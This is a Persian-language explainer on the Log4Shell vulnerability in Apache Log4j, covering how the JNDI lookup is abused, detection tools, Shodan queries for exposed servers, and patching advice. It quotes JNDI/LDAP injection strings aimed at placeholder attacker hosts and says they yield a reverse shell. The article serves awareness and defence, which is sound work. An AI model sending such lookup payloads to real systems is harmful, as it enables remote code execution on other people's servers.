آسیب پذیری جدید و خطرناکی که در Apache Log4j که یکی از بسته های Logging متعلق به Java میباشد کشف شد که دنیارا تکان داد و موجب این شد تمامی سازمان ها و کمپانی های ارائه دهنده تجهیزات متنوع شروع به دستبکار شدن و رفع این مشکل و آسیب پذیری شوند.
این آسیب پذیری که با CVE 2021-44228 به ثبت رسیده با عنوان Log4Shell شناسایی میشود و دارای نمره و امتیاز 10.0 برپایه CVSSv3 میباشد که این نمره بالاترین سطح ممکن یعنی Critical را شامل میشود و باید سریعا اقدامات امنیتی برای رفع آن صورت بگیرد زیرا که این حمله به سادگی با ارسال پیغام های گزارش دستکاری شده توانایی اجرای دستورات را از راه دور به فرد مهاجم میدهد.
این آسیب پذیری در 9 نوامبر امسال ( سال 2021 ) به صورت کاملا شخصی به Apache گزارش شد و در 9 دسامبر امسال ( سال 2021 ) وصله های امنیتی مورد نیاز توسط Apache ارائه شد
از همین جهت سیستم ها و پلتفروم های بسیار زیادی تحت تاثیر این آسیب پذیری و حمله قرار گرفته اند و میلیونها دیوایس هنوز آلوده به این آسیب پذیری و حمله میباشند.
شدت این حمله و این آسیب پذیری اینقدر بالا و قابل توجه میباشد که اکثر افراد مشهور و سرشناس در حوزه امنیت نیز توییت ها و پست های زیادی را راجب آن منتشر کردند
برای مثال مارکوس هاچینز ( Marcus Hutchins ) یکی از محققان امنیتی برجسته به که واسطه جلوگیری توقف باج افزار WannaCry شناخته شده است عنوان کرد که این آسیب پذیری میلیون ها دستگاه ها در دنیا درگیر و تحت تاثیر قرار میدهد، متن کامل این توییت به زبان فارسی :
"میلیون ها نرم افزار و برنامه از بسته Log4j استفاده میکند و تنها کاری که فرد مهاجم باید انجام دهد این است که دستورات خود را به صورت String به برنامه ارسال کند و برنامه را وادار به Log کردن آنها کند"
بیشتر ببینید: کامل ترین دوره SANS SEC560 (تست نفوذ به زیرساخت و شبکه های سازمانی)
ممکن است برایتان سوال شود که در ابتدای کار این آسیب پذیری و حمله در کجا دیده شد دراصل درجای که حتی میتونه به شکل یک شوخی باشه تاحدودی ! زیرا این حمله در ابتدا در سروی های بازی MaineCraft دیده شد و مهاجمان با ارسال پیغام ها در چت میتوانند از این حمله بهرهبرداری کنند.
توجه داشته باشید که ما باید یک مقدار را در برنامه مورد نظر به عنوان Log قرار دهیم و این مقدار به صورت معمول و متداول که توسط افراد مختلف استفاده میشود به شکل زیر است:
{jndi:ldap://[attacker.site]/endpoint}
در مقدار بالا ما به واسطه JNDI Lookup و استفاده از LDAP یک مقدار مخرب که یک وب سایت ایجاد شده توسط ما میباشد را به سمت سرور آسیب پذیر ارسال میکنیم و سرور آسیب پذیر بعد از طی کردن مراحل ( در تصویر زیر شرح داده شده است ) پاسخ کد مخرب Java مارا برای ما ارسال میکند.
این روش متداول ترین روش استفاده و بهربرداری از Log4Shell میباشد که از پروتکل Http برای بهربرداری از آن استفاده میکنیم
توضیح بالا میتواند کمی برای کسانی که با این مباحث آشنایی ندارند مبهم باشد از همین بابت توضیح اصلی نحوه کار این حمله از اینجا به بعد شروع میشود.
توجه کنید که این آسیب پذیری با سواستفاده از مکانیزم Lookup در Log4j 2.x سو استفاده میکند که این مکانیزم بدین شکل میباشد که لاگ های ما در یک سری کارکتر های خاص ( }$) به شکل زیر قرار میگیرند
${Log}
و به گفته و دیدگاه NIST در اینجا به این دلیل که توجهی به ورودی های دریافتی نشده است و هر ورودی توسط یک فرد مهاجم یا فردی که احراز هویت نشده است دریافت میشود به همین دلیل در زمانی که از این کارکتر های خاص یعنی }$ در درخواست دیده میشود مکانیزم Log4j Lookup شروع میکند به گشتن و پیدا کردن تمامی بخشای های که بعد از این کارکتر ها قرار گرفته اند و مقدار واقعی و اصلی را پیدا و جایگزین میکند
از همین بابت در این مکان افراد با استفاده از جستوجوي JNDI که میتواند از چندین پروتکل خارجی مانند LDAP و DNA و RMI استفاده کنند سو استفاده میکنند و شروع میکنند به واسطه فرد مهاجم با قرار دادن کلاس های مخرب Java در سمت سرور LDAP راه اندازی شده توسط خودش به راحتی میتواند کد های مخرب موجود در LDAP Server را اجرا سازی کند.
از نمونه کد مخربی که میتواند در LDAP سرور ما قرار بگیرد و از آن بر روی سرور آسیب پذیر مقابل بهره برداری کنیم میتوانیم به کد ساده Java زیر اشاره کنیم:
و همچنین Exploit ما برای اجرا سازی نیز به شکل زیر میباشد:
$\{jndi:ldap://AttackerIPAddr:1389/Exploit\}'
پس از بهره برداری ما یک دسترسی Reverse Shell از سمت مقابل دریافت خواهیم کرد.
توجه داشته باشید که هر کنشی یک واکنش دارد از همین بابت روی کار آمدن یک آسیب پذیری و حمله جدید میتواند مشکلات و نگرانی های زیادی را با خود داشته باشد از همین جهت هکرها و افراد مختلف بیکار نمیشنند و تا به همین الان گزارش شده است که کسانی که پشت باج افزار خانواده Khonsari بوده اند نیز دست بکار شده اند و از این آسیب پذیری درحال استفاده هستند.
روش های متعددی برای تشخیص این آسیب و حمله در تجهیزات متعدد وجود دارد که میتوانید آنهارا بکارگیری کنید و متداول ترین و سریع ترین آنها این است که شما از ابزارهای رایگان و Open Source استفاده کنید
همچنین روز به روز ابزارهای زیادی ارائه میشود که برای شناسایی و کشف تجهیزات آسیب پذیر به این حمله مورد استفاده قرار میگیرند
برای مثال Nmap جزوه اولین نرم افزارهای قدرتمندی بود که NSE تشخیص این آسیب پذیری را ارائه کرد.
https://github.com/Diverto/nse-log4shell
https://github.com/js-on/jndiRep
https://github.com/takito1812/log4j-detect
https://github.com/logpresso/CVE-2021-44228-Scanner
نکته: توجه داشته باشید که این آسیب پذیری در یک بسته تحت عنوان Log4j که متعلق به Java میباشد و توسط Apache توسعه پیدا میکند کشف شده است اما به مراتب این بسته میتواند در اکثر Platform ها و سیستم ها بکارگیری و استفاده شده است و به عنوان یک Library حتی در محصولاتی که خودتان ارائه دهنده آنها هستید قرار گرفته باشد پس توجه کنید که هرچه سریع تر باید Patch ها و الزامات و نکات امنیتی را ارائه و برطرف کنید.
توجه داشته باشید که Shodan یکی از وحشتناک ترین موتورهای جستوجوگر وب میباشد که به واسطه آن میتوانیم دیوایس های آنلاین آسیب پذیر قابل دسترسی بر روی اینترنت را کشف و پیدا کنیم و از همین بابت برای اینکار که بتوانیم دیوایس های آسیب پذیر به Log4Shell را پیدا کنیم میتوانیم از Search Query های زیر استفاده کنیم:
1. https://www.shodan.io/search?query=product%3Aredis
2. https://www.shodan.io/search?query=product%3Atomcat
3. https://www.shodan.io/search?query=product%3Aminecraft
4. https://www.shodan.io/search?query=product%3Aelastic
نکته: حتما یک اکانت در Shodan ایجاد کنید و بعد لینک هارا بازکنید زیرا ممکن است ارور دریافت کنید.
برای دیدن یادگیری کامل Shodan به قسمت 15 کامل ترین دوره SANS SEC560 مراجعه کنید.
توجه کنید که شما برای تشخیص این حمله باید به دنبال رشته های زیر در درخواست و Log ها و ارتباطات شبکه خود باشید.
نکته: توجه داشته باشید که این که موضوع صرفا در زمانی جوابگو میباشد که فرآيند پیاده سازی حملات از روش های مثله Encoding و Obfuscation در حمله و Payload استفاده نشود.
توجه داشته باشید که این حمله صرفا بر روی پروتکل Http رخ نمیدهد و متداول ترین آن میتواند استفاده از پروتکل Http و یکی از Header های Http باشد ولی از طریق دیگر پروتکل ها نیز قابل پیاده سازی و انجام میباشد.
شما برای جلوگیری از این حمله حتما باید نسخه Log4j خود را به نسخه 2.15.0 ارتقا دهید
از همین بابت تا زمان ارائه Patche امنیتی دیگر و نکات دیگر میتوانید مقدار های موجود در Log4j را به شکل زیر تنظیم کنید.
مهندس و مدرس شبکه و امنیت سایبری و مدیر کل جزیره هک و امنیت اطلاعات توسینسو
متخصص امنیت اطلاعات و کارشناس شکار تهدیدات بانک ملی ایران ، دارای مدارک مختلف از Splunk و AWS و Fortinet و Huawei حوزه اصلی فعالیت بنده در زمینه شبکه مباحث R&S و Service Provider میباشد و در زمینه امنیت نیز در موقعیت های مختلفی مانند PenTest و SoC فعالیت داشته و دارم. سابقه همکاری با بعضی سازمان های در قالب پروژه و... را داشته ام الان به عنوان تحلیلگر امنیت سایبری در زیرساخت بانک ملی مشغول به کار هستم. لینکداین: https://www.linkedin.com/in/amirhoseintangsirinezhad/
زمان پاسخ گویی روز های شنبه الی چهارشنبه ساعت 9 الی 18
فقط به موضوعات مربوط به محصولات آموزشی و فروش پاسخ داده می شود